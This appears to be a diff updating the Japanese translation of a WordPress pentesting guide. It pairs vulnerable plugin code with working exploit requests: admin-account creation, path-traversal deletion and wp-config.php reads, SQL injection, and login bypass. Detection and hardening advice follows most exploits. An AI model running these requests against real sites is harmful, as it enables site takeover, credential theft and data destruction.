- 影響: 認証なしでコアの users REST ルートを通じて新しい管理者を作成し、管理者権限に昇格される可能性があります。
|
||||
- 例のヘッダ: `X-Wcpay-Platform-Checkout-User: 1`(ユーザー ID を 1 に強制、通常は最初の管理者アカウント)
|
||||
- 悪用されるルート: `POST /wp-json/wp/v2/users` に高い権限の role 配列を含めて
|
||||
- 影響: core users REST ルート経由で新しい管理者を作成することで、未認証から管理者への権限昇格が可能になる。
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1`(ユーザー ID 1 を強制、通常は最初の管理者アカウント)。
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` に昇格された role 配列を送信する。
|
||||
|
||||
PoC
|
||||
```http
|
||||
@ -392,39 +397,27 @@ Content-Length: 114
|
||||
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
|
||||
```
|
||||
Why it works
|
||||
|
||||
- プラグインはクライアント制御のヘッダを認証状態にマッピングし、権限チェックをスキップします。
|
||||
- WordPress core はこのルートに `create_users` capability を期待します;プラグインのハックはヘッダから直接現在のユーザーコンテキストを設定することでこれをバイパスします。
|
||||
- プラグインがクライアント制御のヘッダを認証状態にマップし、権限チェックをスキップする。
|
||||
- WordPress core はこのルートに対して `create_users` 権限を期待する;プラグインのハックはヘッダから直接 current user context を設定することでこれを回避する。
|
||||
|
||||
Expected success indicators
|
||||
|
||||
- 作成されたユーザーを記述する JSON ボディを伴う HTTP 201。
|
||||
- 新しい管理者ユーザーが `wp-admin/users.php` に表示される。
|
||||
- 作成されたユーザーを記述する JSON ボディと共に返る HTTP 201。
|
||||
- `wp-admin/users.php` に表示される新しい admin ユーザー。
|
||||
|
||||
Detection checklist
|
||||
- ユーザコンテキストを設定するためにカスタムヘッダを読む `getallheaders()`, `$_SERVER['HTTP_...']`、またはベンダー SDK を grep する(例: `wp_set_current_user()`, `wp_set_auth_cookie()`)。
|
||||
- 堅牢な `permission_callback` チェックを欠き、代わりにリクエストヘッダに依存している特権コールバックの REST 登録をレビューする。
|
||||
- REST ハンドラ内でヘッダ値だけでガードされているコアのユーザー管理関数(`wp_insert_user`, `wp_create_user`)の使用を探す。
|
||||
|
||||
- ユーザーコンテキストを設定するためにカスタムヘッダを読み取る `getallheaders()`、`$_SERVER['HTTP_...']`、またはベンダーSDK(例: `wp_set_current_user()`, `wp_set_auth_cookie()`)を grep で探す。
|
||||
- 堅牢な `permission_callback` チェックを欠き、代わりにリクエストヘッダに依存している特権コールバックについて REST 登録をレビューする。
|
||||
- REST ハンドラ内でヘッダ値だけでゲートされている core のユーザー管理関数(`wp_insert_user`, `wp_create_user`)の使用を探す。
|
||||
### wp_ajax_nopriv を介した認証されていない任意のファイル削除 (Litho Theme <= 3.0)
|
||||
|
||||
Hardening
|
||||
WordPress の themes や plugins は `wp_ajax_` と `wp_ajax_nopriv_` フックを通じて AJAX ハンドラを公開することが多い。**_nopriv_** バリアントが使われると**コールバックは認証されていない訪問者から到達可能になる**ため、機密性の高いアクションは追加で以下を実装する必要がある:
|
||||
|
||||
- 認証や認可をクライアント制御のヘッダから導出してはいけない。
|
||||
- リバースプロキシが識別情報を注入しなければならない場合は、プロキシで信頼を終端して着信コピーを削除する(例: エッジで `unset X-Wcpay-Platform-Checkout-User`)、その上で署名付きトークンを渡してサーバ側で検証する。
|
||||
- 特権操作を行う REST ルートでは `current_user_can()` チェックと厳密な `permission_callback` を要求する(`__return_true` を使ってはいけない)。
|
||||
- ヘッダによる「impersonation」よりも、first-party 認証(cookies、application passwords、OAuth)を優先する。
|
||||
1. **権限チェック**(例: `current_user_can()` または少なくとも `is_user_logged_in()`)、および
|
||||
2. **CSRF nonce** を `check_ajax_referer()` / `wp_verify_nonce()` で検証すること、および
|
||||
3. **厳格な入力のサニタイズ / 検証**。
|
||||
|
||||
References: see the links at the end of this page for a public case and broader analysis.
|
||||
|
||||
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
WordPress のテーマやプラグインはしばしば `wp_ajax_` と `wp_ajax_nopriv_` フックを通じて AJAX ハンドラを公開します。**_nopriv_** バリアントが使用されると **コールバックは未認証の訪問者から到達可能になる** ため、任意の機微な操作では追加で以下を実装する必要があります:
|
||||
|
||||
1. **権限チェック**(例: `current_user_can()`、少なくとも `is_user_logged_in()`)、および
|
||||
2. `check_ajax_referer()` / `wp_verify_nonce()` によって検証される **CSRF nonce**、および
|
||||
3. **厳格な入力のサニタイズ/検証**。
|
||||
|
||||
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
|
||||
Litho multipurpose theme (< 3.1) は *Remove Font Family* 機能でこれら3つの制御を忘れており、結果として次のコード(簡略化)を出荷していた:
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -445,13 +438,13 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove
|
||||
```
|
||||
Issues introduced by this snippet:
|
||||
|
||||
* **Unauthenticated access** – `wp_ajax_nopriv_` フックが登録されている。
|
||||
* **No nonce / capability check** – 任意の訪問者がエンドポイントにアクセスできる。
|
||||
* **No path sanitisation** – ユーザー制御の `fontfamily` 文字列がフィルタリングされずにファイルシステムパスに連結され、古典的な `../../` トラバーサルを許している。
|
||||
* **認証なしアクセス** – `wp_ajax_nopriv_` フックが登録されている。
|
||||
* **nonce / capability チェック無し** – 任意の訪問者がエンドポイントにアクセスできる。
|
||||
* **パスのサニタイズ無し** – ユーザー制御の `fontfamily` 文字列がフィルタリングなしでファイルシステムパスに連結され、古典的な `../../` トラバーサルを許す。
|
||||
|
||||
#### 悪用
|
||||
|
||||
攻撃者は単一の HTTP POST リクエストを送信するだけで、**uploads base directory 以下**(通常は `<wp-root>/wp-content/uploads/`)の任意のファイルやディレクトリを削除できる:
|
||||
攻撃者は単一の HTTP POST リクエストを送ることで、**uploads base directory 以下**(通常は `<wp-root>/wp-content/uploads/`)にある任意のファイルやディレクトリを削除できる:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
@ -461,42 +454,19 @@ Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough
|
||||
|
||||
Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
|
||||
|
||||
#### 検出チェックリスト
|
||||
#### Detection checklist
|
||||
|
||||
* ファイルシステム用ヘルパー(`copy()`, `unlink()`, `$wp_filesystem->delete()` など)を呼び出す `add_action( 'wp_ajax_nopriv_...')` コールバック。
|
||||
* サニタイズされていないユーザー入力をパスに連結している箇所(`$_POST`, `$_GET`, `$_REQUEST` を探す)。
|
||||
* `check_ajax_referer()` や `current_user_can()`/`is_user_logged_in()` が使われていない。
|
||||
|
||||
#### 強化
|
||||
```php
|
||||
function secure_remove_font_family() {
|
||||
if ( ! is_user_logged_in() ) {
|
||||
wp_send_json_error( 'forbidden', 403 );
|
||||
}
|
||||
check_ajax_referer( 'litho_fonts_nonce' );
|
||||
|
||||
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
|
||||
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
|
||||
|
||||
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
|
||||
wp_send_json_error( 'invalid path', 400 );
|
||||
}
|
||||
// … proceed …
|
||||
}
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **常に** ディスク上のいかなる write/delete 操作でも特権として扱い、次を再確認してください:
|
||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||
* Any `add_action( 'wp_ajax_nopriv_...')` callback that calls filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
|
||||
* Concatenation of unsanitised user input into paths (look for `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Absence of `check_ajax_referer()` and `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
---
|
||||
|
||||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
||||
|
||||
多くのプラグインは、元のロールを user meta に保存して後で復元できるようにする 'view as role' または一時的なロール切り替え機能を実装しています。復元処理がリクエストパラメータのみ(例: `$_REQUEST['reset-for']`)およびプラグイン管理のリストに依存し、capabilities チェックや有効な nonce を確認しない場合、これは vertical privilege escalation となります。
|
||||
多くのプラグインは、オリジナルのロールを user meta に保存して後で復元できるようにする "view as role" や一時的なロール切替機能を実装している。復元処理がリクエストパラメータ(例:`$_REQUEST['reset-for']`)とプラグイン管理のリストのみを頼りにし、capability チェックや有効な nonce を行わない場合、これは vertical privilege escalation になる。
|
||||
|
||||
実際の例は Admin and Site Enhancements (ASE) プラグイン (≤ 7.6.2.1) で見つかりました。reset ブランチは、ユーザー名が内部配列 `$options['viewing_admin_as_role_are']` に存在する場合に `reset-for=<username>` に基づいてロールを復元していましたが、現在のロールを削除して user meta `_asenha_view_admin_as_original_roles` から保存されたロールを再追加する前に、`current_user_can()` チェックも nonce 検証も行っていませんでした:
|
||||
実例は Admin and Site Enhancements (ASE) プラグイン(≤ 7.6.2.1)で発見された。リセット処理は、ユーザ名が内部配列 `$options['viewing_admin_as_role_are']` に存在する場合に `reset-for=<username>` に基づいてロールを復元していたが、現在のロールを削除して user meta `_asenha_view_admin_as_original_roles` から保存されたロールを再追加する前に `current_user_can()` チェックも nonce 検証も行っていなかった:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -513,15 +483,9 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
```
|
||||
なぜ悪用可能か
|
||||
|
||||
- サーバー側の認可なしに`$_REQUEST['reset-for']`とプラグインのオプションを信頼している。
|
||||
- ユーザーが以前 `_asenha_view_admin_as_original_roles` に高い権限を保存していてダウングレードされていた場合、リセットパスにアクセスすることでそれらを復元できる。
|
||||
- 一部の導入環境では、認証済みの任意のユーザーが `viewing_admin_as_role_are` にまだ残っている別のユーザー名のリセットをトリガーできる(認可不備)。
|
||||
|
||||
Attack prerequisites
|
||||
|
||||
- 脆弱なプラグインのバージョンで該当機能が有効になっていること。
|
||||
- ターゲットアカウントが以前の利用で user meta に古い高権限 role を保持していること。
|
||||
- 任意の認証済みセッション。reset flow に nonce/capability が欠落していること。
|
||||
- サーバー側の認可なしに `$_REQUEST['reset-for']` とプラグインオプションを信頼している。
|
||||
- ユーザーが以前により高い権限を `_asenha_view_admin_as_original_roles` に保存されており、その後権限が下げられていた場合、reset path にアクセスすることでその権限を復元できる。
|
||||
- 一部の環境では、認証済みの任意のユーザーが `viewing_admin_as_role_are` にまだ残っている別のユーザー名のリセットをトリガーできる(認可の不備)。
|
||||
|
||||
Exploitation (example)
|
||||
```bash
|
||||
@ -531,36 +495,23 @@ Exploitation (example)
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
脆弱なビルドでは、これにより現在のロールが削除され、保存されていた元のロール(例: `administrator`)が再追加され、実質的に権限が昇格します。
|
||||
On vulnerable builds this removes current roles and re-adds the saved original roles (e.g., `administrator`), effectively escalating privileges.
|
||||
|
||||
Detection checklist
|
||||
|
||||
- ユーザーメタに「original roles」を永続化するロール切替機能(例: `_asenha_view_admin_as_original_roles`)を探す。
|
||||
- Look for role-switching features that persist “original roles” in user meta (e.g., `_asenha_view_admin_as_original_roles`).
|
||||
- Identify reset/restore paths that:
|
||||
- ユーザー名を `$_REQUEST` / `$_GET` / `$_POST` から読み取る。
|
||||
- `add_role()` / `remove_role()` を `current_user_can()` や `wp_verify_nonce()` / `check_admin_referer()` なしで呼んでロールを変更する。
|
||||
- アクターの capabilities の代わりに、プラグインのオプション配列(例: `viewing_admin_as_role_are`)に基づいて認可する。
|
||||
|
||||
Hardening
|
||||
|
||||
- 状態を変更するすべての分岐で capability チェックを強制する(例: `current_user_can('manage_options')` またはそれ以上の厳格なチェック)。
|
||||
- すべてのロール/権限の変更に対して nonce を要求し、検証する: `check_admin_referer()` / `wp_verify_nonce()`。
|
||||
- リクエストで渡されたユーザー名を決して信頼しない。認証済みのアクターと明示的なポリシーに基づいてサーバー側で対象ユーザーを解決する。
|
||||
- プロフィール/ロールの更新時に「original roles」状態を無効化し、古い高権限の復元を防ぐ:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- 一時的なロール切り替えには、最小限の状態を保持し、時間制限付きで capability によって保護されたトークンを使用することを検討してください。
|
||||
- Read usernames from `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Modify roles via `add_role()` / `remove_role()` without `current_user_can()` and `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Authorize based on a plugin option array (e.g., `viewing_admin_as_role_are`) instead of the actor’s capabilities.
|
||||
|
||||
---
|
||||
|
||||
### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
|
||||
|
||||
一部のプラグインは user-switching helpers を public の `init` フックに接続し、クライアント制御の cookie から識別を導出します。コードが認証、capability、および有効な nonce の検証なしに `wp_set_auth_cookie()` を呼び出すと、認証されていない任意の訪問者が任意のユーザーIDとして強制的にログインさせることができます。
|
||||
一部のプラグインは user-switching ヘルパーを public の `init` フックに結び付け、クライアント制御の cookie から識別を導出します。コードが認証、capability、および有効な nonce を検証せずに `wp_set_auth_cookie()` を呼び出すと、未認証の訪問者が任意のユーザー ID として強制ログインさせることができます。
|
||||
|
||||
典型的な脆弱なパターン(Service Finder Bookings ≤ 6.1 を簡略化):
|
||||
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
|
||||
```php
|
||||
function service_finder_submit_user_form(){
|
||||
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
|
||||
@ -591,11 +542,11 @@ wp_die('No original user found to switch back to.');
|
||||
```
|
||||
なぜ悪用可能か
|
||||
|
||||
- 公開された `init` フックにより、ハンドラが未認証ユーザーから到達可能になる(`is_user_logged_in()` ガードがない)。
|
||||
- 識別はクライアントが変更可能な cookie(`original_user_id`)から導出されている。
|
||||
- `wp_set_auth_cookie($uid)` を直接呼び出すことで、要求者をそのユーザーとしてログインさせてしまい、権限や nonce のチェックが行われない。
|
||||
- 公開された `init` フックによりハンドラは unauthenticated users に到達可能(`is_user_logged_in()` ガードがない)。
|
||||
- 識別はクライアントで変更可能な cookie (`original_user_id`) から導出されている。
|
||||
- `wp_set_auth_cookie($uid)` を直接呼び出すことで、リクエスタをそのユーザとしてログインさせる — capability/nonce checks が行われない。
|
||||
|
||||
悪用(未認証)
|
||||
Exploitation (unauthenticated)
|
||||
```http
|
||||
GET /?switch_back=1 HTTP/1.1
|
||||
Host: victim.example
|
||||
@ -607,24 +558,24 @@ Connection: close
|
||||
|
||||
### WAF に関する WordPress/plugin CVEs の考慮事項
|
||||
|
||||
Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
|
||||
汎用の edge/server WAF は、広範なパターン(SQLi、XSS、LFI)向けにチューニングされています。多くの高インパクトな WordPress/plugin の脆弱性は、アプリケーション固有のロジックや認可(auth)のバグであり、エンジンが WordPress のルートや plugin のセマンティクスを理解していない限り、通常のトラフィックに見えることがあります。
|
||||
|
||||
攻撃側の注意点
|
||||
Offensive notes
|
||||
|
||||
- プラグイン固有のエンドポイントをクリーンなペイロードで狙う: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, ショートコード。
|
||||
- まずは未認証パスを試す(AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes)。デフォルトのペイロードはしばしば難読化なしで成功する。
|
||||
- 典型的な高影響ケース:権限昇格(broken access control)、任意ファイルのアップロード/ダウンロード、LFI、open redirect。
|
||||
- クリーンなペイロードで plugin 固有のエンドポイントを標的にする: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- まずは認証不要の経路を試す(AJAX `nopriv`, REST で permissive な `permission_callback`, public shortcodes)。デフォルトのペイロードは難読化なしで成功することが多い。
|
||||
- 典型的な高インパクトのケース:権限昇格(broken access control)、任意ファイルのアップロード/ダウンロード、LFI、open redirect。
|
||||
|
||||
防御側の注意点
|
||||
Defensive notes
|
||||
|
||||
- plugin CVEs を保護するために一般的な WAF シグネチャに頼らない。アプリケーション層での脆弱性特化のバーチャルパッチを実装するか、迅速にアップデートすること。
|
||||
- コード内ではネガティブな正規表現フィルタよりも、ポジティブセキュリティチェック(capabilities、nonces、厳格な入力検証)を優先する。
|
||||
- plugin CVEs を保護するために汎用 WAF シグネチャに依存しないこと。アプリケーション層で脆弱性固有の仮想パッチを導入するか、迅速に更新する。
|
||||
- コード内では、ネガティブな regex フィルタよりも、ポジティブセキュリティチェック(capabilities、nonces、厳格な入力検証)を優先する。
|
||||
|
||||
## WordPress の保護
|
||||
## WordPress Protection
|
||||
|
||||
### 定期的なアップデート
|
||||
### Regular Updates
|
||||
|
||||
WordPress、plugins、themes が最新であることを確認する。また、自動更新が wp-config.php で有効になっていることを確認する:
|
||||
WordPress、plugins、themes が最新であることを確認してください。また wp-config.php で自動更新が有効になっていることを確認してください:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
@ -642,14 +593,13 @@ add_filter( 'auto_update_theme', '__return_true' );
|
||||
|
||||
- デフォルトの **admin** ユーザーを削除する
|
||||
- **強力なパスワード** と **2FA** を使用する
|
||||
- 定期的にユーザーの **権限** を **見直す**
|
||||
- Brute Force 攻撃を防ぐために **ログイン試行回数を制限する**
|
||||
- **`wp-admin.php`** ファイルの名前を変更し、内部または特定の IP アドレスからのみアクセスを許可する。
|
||||
- 定期的にユーザーの**レビュー**および**権限**を確認する
|
||||
- **ログイン試行回数を制限する**ことで Brute Force 攻撃を防ぐ
|
||||
- **`wp-admin.php`** ファイル名を変更し、内部または特定のIPアドレスからのみアクセスを許可する。
|
||||
|
||||
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
|
||||
|
||||
### 認証不要の SQL Injection(検証不足) (WP Job Portal <= 2.3.2)
|
||||
|
||||
WP Job Portal リクルートプラグインは **savecategory** タスクを公開しており、最終的に `modules/category/model.php::validateFormData()` 内で次の脆弱なコードを実行します:
|
||||
WP Job Portal 採用プラグインは **savecategory** タスクを公開しており、結果的に `modules/category/model.php::validateFormData()` 内で以下の脆弱なコードを実行していた:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -659,19 +609,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
このスニペットによって導入された問題点:
|
||||
このスニペットによって導入された問題:
|
||||
|
||||
1. **未サニタイズのユーザー入力** – `parentid` は HTTP リクエストからそのまま取得されています。
|
||||
2. **WHERE clause 内での文字列連結** – `is_numeric()` / `esc_sql()` / prepared statement が使われていません。
|
||||
3. **認証不要で到達可能** – アクションは `admin-post.php` 経由で実行されますが、設けられているチェックは **CSRF nonce**(`wp_verify_nonce()`)のみで、訪問者はショートコード `[wpjobportal_my_resumes]` を埋め込んだ公開ページからそれを取得できます。
|
||||
1. **サニタイズされていないユーザー入力** – `parentid` は HTTP リクエストからそのまま取得されています。
|
||||
2. **WHERE句内での文字列連結** – `is_numeric()` / `esc_sql()` / プリペアドステートメント が使われていません。
|
||||
3. **認証不要で到達可能** – アクションは `admin-post.php` を通じて実行されますが、唯一のチェックは **CSRF nonce**(`wp_verify_nonce()`)だけで、任意の訪問者がショートコード `[wpjobportal_my_resumes]` を埋め込んだ公開ページから取得できます。
|
||||
|
||||
#### 悪用
|
||||
|
||||
1. 新しい nonce を取得する:
|
||||
1. 新しい nonce を取得:
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. `parentid` を悪用して任意の SQL を注入する:
|
||||
2. `parentid` を悪用して任意の SQL を注入:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
@ -679,18 +629,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
レスポンスは注入されたクエリの結果を公開するか、データベースを変更し、SQLi を立証します。
|
||||
レスポンスは注入したクエリの結果を開示するか、データベースを変更し、SQLi の存在を証明します。
|
||||
|
||||
|
||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
### 認証不要の任意ファイルダウンロード / パストラバーサル (WP Job Portal <= 2.3.2)
|
||||
|
||||
別のタスクである **downloadcustomfile** は、path traversal を介して訪問者にディスク上の**任意のファイル**をダウンロードさせることを許していました。脆弱なシンクは `modules/customfield/model.php::downloadCustomUploadedFile()` にあります:
|
||||
別のタスクである **downloadcustomfile** により、訪問者はパストラバーサルを使ってディスク上の **任意のファイル** をダウンロードできました。脆弱なシンクは `modules/customfield/model.php::downloadCustomUploadedFile()` にあります:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` は攻撃者により制御され、**サニタイズされずに**連結されます。 再度、唯一の防御は履歴書ページから取得できる **CSRF nonce** です。
|
||||
`$file_name` は攻撃者により制御され、**サニタイズされていない**状態で連結されます。再度、唯一のゲートは **CSRF nonce** で、resume ページから取得できます。
|
||||
|
||||
#### Exploitation
|
||||
```bash
|
||||
@ -701,9 +651,200 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
サーバーは `wp-config.php` の内容を返し、DB credentials と auth keys を leaking します。
|
||||
サーバーは `wp-config.php` の内容を返し、leaking DB credentials and auth keys。
|
||||
|
||||
## 参考資料
|
||||
## 未認証アカウントの乗っ取り via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
|
||||
|
||||
多くのテーマ/プラグインは admin-ajax.php 経由で公開される "social login" ヘルパーを同梱しています。未認証の AJAX アクション (wp_ajax_nopriv_...) が、provider data がない場合にクライアント提供の識別子を信用してから wp_set_auth_cookie() を呼び出すと、これは完全な認証バイパスになります。
|
||||
|
||||
Typical flawed pattern (simplified)
|
||||
```php
|
||||
public function check_login() {
|
||||
// ... request parsing ...
|
||||
switch ($_POST['using']) {
|
||||
case 'fb': /* set $user_email from verified Facebook token */ break;
|
||||
case 'google': /* set $user_email from verified Google token */ break;
|
||||
// other providers ...
|
||||
default: /* unsupported/missing provider – execution continues */ break;
|
||||
}
|
||||
|
||||
// FALLBACK: trust POSTed "id" as email if provider data missing
|
||||
$user_email = !empty($user_email)
|
||||
? $user_email
|
||||
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
|
||||
|
||||
if (empty($user_email)) {
|
||||
wp_send_json(['status' => 'not_user']);
|
||||
}
|
||||
|
||||
$user = get_user_by('email', $user_email);
|
||||
if ($user) {
|
||||
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
|
||||
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
|
||||
}
|
||||
wp_send_json(['status' => 'not_user']);
|
||||
}
|
||||
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
|
||||
```
|
||||
なぜ悪用可能か
|
||||
|
||||
- admin-ajax.php 経由で認証なしで到達可能(wp_ajax_nopriv_… action)。
|
||||
- nonce/capability チェックが状態変更前に行われていない。
|
||||
- OAuth/OpenID プロバイダ検証が欠如しており、デフォルトの分岐が攻撃者の入力を受け入れてしまう。
|
||||
- get_user_by('email', $_POST['id']) の後に wp_set_auth_cookie($uid) が呼ばれ、要求者を任意の既存のメールアドレスとして認証してしまう。
|
||||
|
||||
Exploitation (unauthenticated)
|
||||
|
||||
- 前提条件:攻撃者が /wp-admin/admin-ajax.php に到達でき、有効なユーザーメールを知っているか推測できること。
|
||||
- provider をサポートされていない値に設定する(または省略する)ことでデフォルトの分岐に入り、id=<victim_email> を渡す。
|
||||
```http
|
||||
POST /wp-admin/admin-ajax.php HTTP/1.1
|
||||
Host: victim.tld
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
|
||||
```
|
||||
|
||||
```bash
|
||||
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
|
||||
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
|
||||
```
|
||||
Expected success indicators
|
||||
|
||||
- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
|
||||
- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
|
||||
|
||||
Finding the action name
|
||||
|
||||
- テーマやプラグイン内で add_action('wp_ajax_nopriv_...', '...') の登録をソーシャルログインのコード(例: framework/add-ons/social-login/class-social-login.php)で確認する。
|
||||
- AJAX ハンドラ内で wp_set_auth_cookie(), get_user_by('email', ...) を grep する。
|
||||
|
||||
Detection checklist
|
||||
|
||||
- Web ログに、social-login アクションと id=<email> を含む /wp-admin/admin-ajax.php への未認証の POST が記録されていること。
|
||||
- 同一の IP/User-Agent からの認証済みトラフィックに先立ち、success JSON を含む 200 レスポンスがあること。
|
||||
|
||||
Hardening
|
||||
|
||||
- クライアント入力から識別情報を派生させない。検証済みプロバイダの token/ID に由来する email/ID のみを受け入れる。
|
||||
- ログイン補助でも CSRF nonces と capability checks を要求する。wp_ajax_nopriv_ は厳密に必要な場合以外登録しない。
|
||||
- OAuth/OIDC レスポンスをサーバ側で検証し、プロバイダが欠落または無効な場合は拒否する(POST id にフォールバックしない)。
|
||||
- 修正されるまで、ソーシャルログインを一時的に無効化するか、エッジで仮想パッチ(脆弱なアクションをブロック)することを検討する。
|
||||
|
||||
Patched behaviour (Jobmonster 4.8.0)
|
||||
|
||||
- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
|
||||
|
||||
## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
|
||||
|
||||
Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).
|
||||
|
||||
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
|
||||
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
|
||||
- Impact: full takeover by chaining the minted key to internal privileged actions
|
||||
|
||||
PoC – mint a connection key and use it
|
||||
```bash
|
||||
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
|
||||
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
|
||||
-H 'Content-Type: application/json' \
|
||||
--data '{"username":"admin"}'
|
||||
# → {"key":"<conn_key>", ...}
|
||||
|
||||
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
|
||||
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H 'X-Connection-Key: <conn_key>' \
|
||||
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
|
||||
```
|
||||
Why it’s exploitable
|
||||
- Sensitive REST route protected only by low-entropy identity proof (username) or missing permission_callback
|
||||
- No capability enforcement; minted key is accepted as a universal bypass
|
||||
|
||||
Detection checklist
|
||||
- プラグインコードを grep して register_rest_route(..., [ 'permission_callback' => '__return_true' ]) を探す
|
||||
- リクエスト提供の識別情報(username/email)に基づいてトークン/キーを発行し、認証済みユーザーや capability に紐付けていないルート
|
||||
- サーバー側の capability チェックなしに発行済みトークン/キーを受け入れる後続ルートを探す
|
||||
|
||||
Hardening
|
||||
- 特権を持つ REST ルートでは、必要な capability に対して current_user_can() を強制する permission_callback を要求する
|
||||
- クライアント提供の識別情報から長寿命キーを発行しない。必要な場合は、認証後に短寿命かつユーザーに紐づいたトークンを発行し、使用時に capability を再確認する
|
||||
- 呼び出し元のユーザーコンテキストを検証する(wp_set_current_user は単独では不十分)および !is_user_logged_in() || !current_user_can(<cap>) の場合はリクエストを拒否する
|
||||
|
||||
---
|
||||
|
||||
## Nonce gate misuse → 認証されていない任意のプラグインインストール (FunnelKit Automations ≤ 3.5.3)
|
||||
|
||||
Nonces は CSRF を防ぐものであり、認可を意味するものではない。コードが nonce の通過を安全の合図とみなして特権操作(例: install/activate plugins)の capability チェックをスキップすると、認証されていない攻撃者が弱い nonce 要件を満たしてバックドア入りや脆弱なプラグインをインストールすることで RCE に到達し得る。
|
||||
|
||||
